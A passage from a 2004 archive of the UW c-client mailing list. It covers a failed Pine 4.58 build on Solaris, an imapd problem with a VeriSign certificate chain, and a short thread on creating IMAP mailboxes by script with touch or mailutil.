CCTYPE` -c `cat CFLAGS` imap4r1.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` pop3.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` unix.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` mbox.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` mbx.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` mmdf.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` tenex.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` mtx.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` news.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` phile.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` mh.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` mx.c cc: Warning: option -2 passed to ld sh -c 'rm -rf c-client.a || true' ar rc c-client.a osdep.o mail.o misc.o newsrc.o smanager.o utf8.o siglocal.o dummy.o pseudo.o netmsg.o flstring.o fdstring.o rfc822.o nntp.o smtp.o imap4r1.o pop3.o unix.o mbox.o mbx.o mmdf.o tenex.o mtx.o news.o phile.o mh.o mx.o;true c-client.a echo sol > OSTYPE touch rebuild sh -c 'rm -rf rebuild || true' Building bundled tools... cd mtest;make `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -c mtest.c cc: Warning: option -2 passed to ld `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -o mtest mtest.o ../c-client/c-client.a `cat ../c-client/LDFLAGS` cc: Warning: option -2 passed to ld /usr/ccs/bin/ld: illegal option -- 2 usage: ld [-6:abc:d:e:f:h:il:mo:p:rstu:z:B:CD:F:GI:L:M:N:P:Q:R:S:VY:?] file(s) [-64] enforce a 64-bit link-edit [-a] create an absolute file [-b] do not do special PIC relocations in a.out [-B direct] specify `direct' bindings for executable when run [-B dynamic | static] search for shared libraries|archives [-B eliminate] eliminate unqualified global symbols from the symbol table [-B group] relocate object from within group [-B local] reduce unqualified global symbols to local [-B reduce] process symbol reductions [-B symbolic] bind external references to definitions when creating shared objects [-c name] record configuration file `name' [-C] demangle C++ symbol name diagnostics [-d y | n] operate in dynamic|static mode [-D token,...] print diagnostic messages [-e epsym] use `epsym' as entry point address [-f name] specify library for which this file is an auxiliary filter [-F name] specify library for which this file is a filter [-G] create a shared object [-h name] use `name' as internal shared object identifier [-i] ignore LD_LIBRARY_PATH setting [-I name] use `name' as path of interpreter [-l x] search for libx.so or libx.a [-L path] search for libraries in directory `path' [-m] print memory map [-M mapfile] use processing directives contained in `mapfile' [-N string] create a dynamic dependency for `string' [-o outfile] name the output file `outfile' [-p auditlib] identify audit library to accompany this object [-P auditlib] identify audit library for processing the dependencies of this object [-Q y | n] do|do not place version information in output file [-r] create a relocatable object [-R path] specify a library search path to be used at run time [-s] strip any symbol and debugging information [-S supportlib] specify a link-edit support library [-t] do not warn of multiply-defined symbols that have different sizes or alignments [-u symname] create an undefined symbol `symname' [-V] print version information [-Y P,dirlist] use `dirlist' as a default path when searching for libraries [-z absexec] when building an executable absolute symbols referenced in dynamic objects are promoted to the executable [-z allextract | defaultextract | weakextract] extract all member files, only members that resolve undefined tor tentative symbols, or allow extraction of archive members to resolvetweak references from archive files [-z combreloc] combine multiple relocation sections [-z nocompstrtab] disable compression of string tables [-z defs] disallow undefined symbol references [-z endfiltee] marks a filtee such that it will terminate a filters search [-z finiarray=function] name of function to be appended to the .finiarray [-z groupperm | nogroupperm] enable|disable setting of group permissions on dynamic dependencies [-z ignore | record] ignore|record unused dynamic dependencies [-z initarray=function] name of function to be appended to the .initarray [-z initfirst] mark object to indicate that its .init section should be executed before the .init section of any other objects [-z interpose] dynamic object is to be an `interposer' on direct bindings [-z lazyload | nolazyload] enable|disable delayed loading of shared objects [-z ld32=arg1,arg2,...] define arguments applicable to the 32-bit class of ld(1) [-z ld64=arg1,arg2,...] define arguments applicable to the 64-bit class of ld(1) [-z loadfltr] mark filter as requiring immediate loading of its filtees at runtime [-z muldefs] allow multiply-defined symbols [-z nodefs] allow undefined symbol references [-z nodefaultlib] mark object to ignore any default library search path [-z nodelete] mark object as non-deletable [-z nodlopen] mark object as non-dlopen()'able [-z nodump] mark object as non-dldump()'able [-z nopartial] expand any partially initialized symbols [-z noversion] don't record any version sections [-z now] mark object as requiring non-lazy binding [-z origin] mark object as requiring $ORIGIN processing [-z preinitarray=function] name of function to be appended to the .preinitarray [-z redlocsym] reduce local syms in .symtab to a minimum [-z rescan] rescan archive list until no further member extraction occurs [-z text] disallow output relocations against text [-z textoff] allow output relocations against text [-z textwarn] warn if there are relocations against text [-z verbose] generate warnings for suspicious processings *** Error code 1 make: Fatal error: Command failed for target `mtest' Current working directory /opt/pine4.58/imap/mtest *** Error code 1 make: Fatal error: Command failed for target `bundled' Current working directory /opt/pine4.58/imap *** Error code 1 make: Fatal error: Command failed for target `sol' +---------------------------------------------+ | Problems building c-client | | | | Please check the output above for a | | possible explanation for this failure | +---------------------------------------------+ root on antares # --------------020009050900070904010700 Content-Type: text/x-vcard; charset=utf8; name="Lyane.Plancon.vcf" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="Lyane.Plancon.vcf" begin:vcard fn;quoted-printable:Lyane Plan=C3=A7on n;quoted-printable:Plan=C3=A7on;Lyane org:LPCE - CNRS;Informatique adr:;;3A avenue de la recherche Scientifique;ORLEANS cedex 02;;45071;FRANCE email;internet:Lyane.Plancon@cnrs-orleans.fr title;quoted-printable:Administrateur syst=C3=A8mes tel;work:33 2 38 25 78 27 tel;fax:33 2 38 63 12 34 url:http://lpce.cnrs-orleans.fr version:2.1 end:vcard --------------020009050900070904010700-- --------------070400030204090506060404 Content-Type: text/x-vcard; charset=utf8; name="Lyane.Plancon.vcf" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="Lyane.Plancon.vcf" begin:vcard fn;quoted-printable:Lyane Plan=C3=A7on n;quoted-printable:Plan=C3=A7on;Lyane org:LPCE - CNRS;Informatique adr:;;3A avenue de la recherche Scientifique;ORLEANS cedex 02;;45071;FRANCE email;internet:Lyane.Plancon@cnrs-orleans.fr title;quoted-printable:Administrateur syst=C3=A8mes tel;work:33 2 38 25 78 27 tel;fax:33 2 38 63 12 34 url:http://lpce.cnrs-orleans.fr version:2.1 end:vcard --------------070400030204090506060404-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jan 16 10:20:03 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 16 Jan 2004 10:20:03 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0GIK3tL020644 for ; Fri, 16 Jan 2004 10:20:03 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0GIK1GV017421 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 16 Jan 2004 10:20:02 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i0GIIjFh017124; Fri, 16 Jan 2004 10:18:46 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0GIHquL105496 for ; Fri, 16 Jan 2004 10:17:52 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu8.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0GIHpqm012615 for ; Fri, 16 Jan 2004 10:17:51 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0GIHmmB009083; Fri, 16 Jan 2004 10:17:48 -0800 Received: from Shimo-Tomobiki.Panda.COM (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0GIHkJ1005450 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 16 Jan 2004 10:17:47 -0800 Message-Id: Date: Fri, 16 Jan 2004 10:17:49 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Lyane.Plancon@cnrs-orleans.fr Cc: c-client@washington.edu Subject: Re: [Fwd: build Pine4.58 under Solaris 9 ( Sun SPARC )] In-Reply-To: <4007EA44.2050801@cnrs-orleans.fr> References: <4007EA44.2050801@cnrs-orleans.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='FWD_MSG 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Did you modify the software? It looks like you have changed the c-client build to use cc instead of ucbcc. Because there is no such thing as a consistant "cc" on Solaris, you need to use either ucbcc or gcc. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Jan 16 11:21:52 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 16 Jan 2004 11:21:52 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0GJLltL023477 for ; Fri, 16 Jan 2004 11:21:47 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0GJLjGV019632 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 16 Jan 2004 11:21:46 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i0GJKLrk011274; Fri, 16 Jan 2004 11:20:22 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0GJJ9uL090946 for ; Fri, 16 Jan 2004 11:19:09 -0800 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by mxu7.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0GJJ2Bu012834 for ; Fri, 16 Jan 2004 11:19:08 -0800 Received: from imr3.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQpxtl01544 for ; Fri, 16 Jan 2004 19:19:02 GMT Received: from imr3.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: localhost [127.0.0.1]) id QQpxtl25015 for ; Fri, 16 Jan 2004 19:18:40 GMT Received: from fullmesh.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pine.corp.us.uu.net [153.39.148.40]) id QQpxtl24985 for ; Fri, 16 Jan 2004 19:18:39 GMT Message-Id: <4008390F.8010101@fullmesh.net> Date: Fri, 16 Jan 2004 14:18:39 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Ross To: c-client@u.washington.edu Subject: Problems with imapd-2002e and verisign-signed cert MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='X_ACCEPT_LANG 0, SIGNATURE_SHORT_DENSE 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I made a self-signed cert with OpenSSL (on a Solaris machine), and that worked just fine. I'm forced back to using it now. However, we recently purchased a verisign "Pro" cert, and I can't figure out how to make that work. If I do what I did before, and just combine the cert and the key in the imapd.pem file, it fails. An "openssl verify" shows that it's looking for a local signing cert. Okay, so I eventually figured out how to get both the root CA for verisign, and the Intermediate CA that was used for my cert (something to do with it being "pro", I think). If I put those in hash-named files, as openssl suggests, I can then "openssl verify" the cert/key pair. But that wasn't good enough for imapd either, and it didn't even appear to try opening the other files. So, I put those other two certs into the same file (imapd.pem) as the cert i received from Verisign, and the private key I made when generating the CSR to send to verisign. Does anyone have any idea what's going on here? In most all cases, the imapd will invoke, but just hang in an 8k read, after already reading the 100-some bytes from the client. (With the self-signed cert, it would read those bytes in calls to read of the correct length. I should look in the code for that...) Thank you much for your time. - Chris -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jan 19 13:55:20 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Jan 2004 13:55:20 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0JLtJtL025345 for ; Mon, 19 Jan 2004 13:55:19 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0JLtIGV031443 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 19 Jan 2004 13:55:18 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i0JLsK52016628; Mon, 19 Jan 2004 13:54:21 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0JLqguL012928 for ; Mon, 19 Jan 2004 13:52:42 -0800 Received: from balu.sch.bme.hu (balu.sch.bme.hu [152.66.208.40]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0JLqe85014166 for ; Mon, 19 Jan 2004 13:52:40 -0800 Received: from balu.sch.bme.hu (localhost [127.0.0.1]) by balu.sch.bme.hu (8.12.10/8.12.10) with ESMTP id i0JLqc0C008119 for ; Mon, 19 Jan 2004 22:52:38 +0100 (CET) Received: from localhost (nug@localhost) by balu.sch.bme.hu (8.12.10/8.12.9/Submit) with ESMTP id i0JLqbbZ008112 for ; Mon, 19 Jan 2004 22:52:38 +0100 (CET) Message-Id: Date: Mon, 19 Jan 2004 22:52:37 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Toth Nandor (Csigas)" To: c-client@u.washington.edu Subject: imap mailbox creation by script MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: balu.sch.bme.hu: nug owned process doing -bs X-X-Sender: nug@balu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='X_AUTH_WARNING 0, SIGNATURE_SHORT_DENSE 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi! I know there is a special message in each imap folder (FOLDER INTERNAL DATA). I want create folders for my users automatically by a bash script. How can i create these special messages? Is it necessary to do this? Thanks!!! Nandor Toth PS. Maybe the answer should go in the FAQ... -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jan 19 16:24:30 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Jan 2004 16:24:30 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0K0OTtL029016 for ; Mon, 19 Jan 2004 16:24:29 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0K0ORVN006026 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 19 Jan 2004 16:24:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i0K0NFVb013422; Mon, 19 Jan 2004 16:23:17 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0K0LtuL025980 for ; Mon, 19 Jan 2004 16:21:55 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0K0LsJI028523 for ; Mon, 19 Jan 2004 16:21:54 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0K0LimB008330; Mon, 19 Jan 2004 16:21:44 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0K0LiqX022168; Mon, 19 Jan 2004 16:21:44 -0800 Message-Id: Date: Mon, 19 Jan 2004 16:21:44 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Toth Nandor (Csigas)" Cc: c-client@u.washington.edu Subject: Re: imap mailbox creation by script In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 19 Jan 2004, Toth Nandor (Csigas) wrote: > I know there is a special message in each imap folder (FOLDER INTERNAL > DATA). > I want create folders for my users automatically by a bash script. > How can i create these special messages? Is it necessary to do this? On most systems, it is alright to create an empty file with "touch", e.g. touch /home/nug/newfile If you want to be fancier, you can use mailutil's create command, e.g.: mailutil create /home/nug/newfile -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Jan 21 07:40:13 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Jan 2004 07:40:13 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0LFe9tL014961 for ; Wed, 21 Jan 2004 07:40:09 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0LFe7GV006119 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 21 Jan 2004 07:40:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i0LFcwrk012818; Wed, 21 Jan 2004 07:38:59 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0LFacuL117898 for ; Wed, 21 Jan 2004 07:36:38 -0800 Received: from mailhub1.qub.ac.uk (isaiah.qub.ac.uk [143.117.143.16]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0LFaa85032692 for ; Wed, 21 Jan 2004 07:36:37 -0800 Received: from smtp2.qub.ac.uk ([143.117.143.72] helo=smtp.qub.ac.uk) by mailhub1.qub.ac.uk with esmtp (Exim 4.20) id 1AjKPD-0005Q4-Lr for c-client@u.washington.edu; Wed, 21 Jan 2004 15:36:35 +0000 Received: from a9203.cc.qub.ac.uk ([143.117.9.203] helo=clive) by smtp.qub.ac.uk with esmtp (Exim 4.10) id 1AjKPD-0000FY-00 for c-client@u.washington.edu; Wed, 21 Jan 2004 15:36:35 +0000 Message-Id: <003601c3e034$5c04b740$cb09758f@clive> Date: Wed, 21 Jan 2004 15:36:38 -0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Clive McDowell" To: Subject: RE: imap mailbox creation by script In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2727.1300 X-Spam-Score: / (0.0) X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, QUOTED_EMAIL_TEXT 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > On most systems, it is alright to create an empty file with > "touch", e.g. > touch /home/nug/newfile > > If you want to be fancier, you can use mailutil's create > command, e.g.: > mailutil create /home/nug/newfile > Folks, I tried to find some more documentation on mailutil without success so apologies if the answer to this is obvious. Using the command, e.g. - mailutil create /home/test/newfile results in the error - Can't create mailbox /home/test/newfile: indeterminate format The directory /home/test exists and newfile doesn't. Any idea why this doesn't work? Thanks, Clive McDowell Information Services The Queen's University of Belfast From pinedev@shivax2.cac.washington.edu Wed Jan 21 09:17:53 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Jan 2004 09:17:52 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0LHHqtL019158 for ; Wed, 21 Jan 2004 09:17:52 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0LHHpGV010092 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 21 Jan 2004 09:17:51 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i0LHGark015704; Wed, 21 Jan 2004 09:16:36 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0LHFZuL101924 for ; Wed, 21 Jan 2004 09:15:35 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0LHFYJI007698 for ; Wed, 21 Jan 2004 09:15:35 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0LHFUmB024199; Wed, 21 Jan 2004 09:15:30 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0LHFUTm001996; Wed, 21 Jan 2004 09:15:30 -0800 Message-Id: Date: Wed, 21 Jan 2004 09:15:30 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Clive McDowell Cc: c-client@u.washington.edu Subject: RE: imap mailbox creation by script In-Reply-To: <003601c3e034$5c04b740$cb09758f@clive> References: <003601c3e034$5c04b740$cb09758f@clive> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 21 Jan 2004, Clive McDowell wrote: > Using the command, e.g. - > mailutil create /home/test/newfile > results in the error - > Can't create mailbox /home/test/newfile: indeterminate format You must run mailutil as the destination user and not as root. c-client assumes that root is equivalent to "not logged in". -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Jan 21 13:08:09 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Jan 2004 13:08:09 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0LL89tL029874 for ; Wed, 21 Jan 2004 13:08:09 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0LL87GV018867 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 21 Jan 2004 13:08:08 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i0LL5T52016176; Wed, 21 Jan 2004 13:05:30 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0LL4buL042422 for ; Wed, 21 Jan 2004 13:04:37 -0800 Received: from hotmail.com (bay2-f148.bay2.hotmail.com [65.54.247.148]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0LL4aq1020674 for ; Wed, 21 Jan 2004 13:04:36 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 21 Jan 2004 13:04:36 -0800 Received: from 208.251.204.190 by by2fd.bay2.hotmail.msn.com with HTTP; Wed, 21 Jan 2004 21:04:36 GMT Message-Id: Date: Wed, 21 Jan 2004 21:04:36 +0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Huynh Muoi" To: c-client@u.washington.edu Subject: # of folders Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Originating-IP: [208.251.204.190] X-Originating-Email: [ddhuynhmuoi@hotmail.com] X-Sender: ddhuynhmuoi@hotmail.com X-OriginalArrivalTime: 21 Jan 2004 21:04:36.0245 (UTC) FILETIME=[2CF92C50:01C3E062] X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='SIGNATURE_SHORT_DENSE 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Dear Folks, I am wring c-client to determine all the folders and sub-folders when logging into an account ... Is there a simple API that I can you to determine this ? Or Can you let me know any way to perform this task ? Thanks, Huynh Muoi _________________________________________________________________ High-speed users—be more efficient online with the new MSN Premium Internet Software. http://join.msn.com/?pgmarket=en-us&page=byoa/prem&ST=1 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jan 21 14:10:08 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Jan 2004 14:10:08 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0LMA8tL000349 for ; Wed, 21 Jan 2004 14:10:08 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0LMA6VN025397 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 21 Jan 2004 14:10:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i0LM6Wrk012970; Wed, 21 Jan 2004 14:06:32 -0800 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu 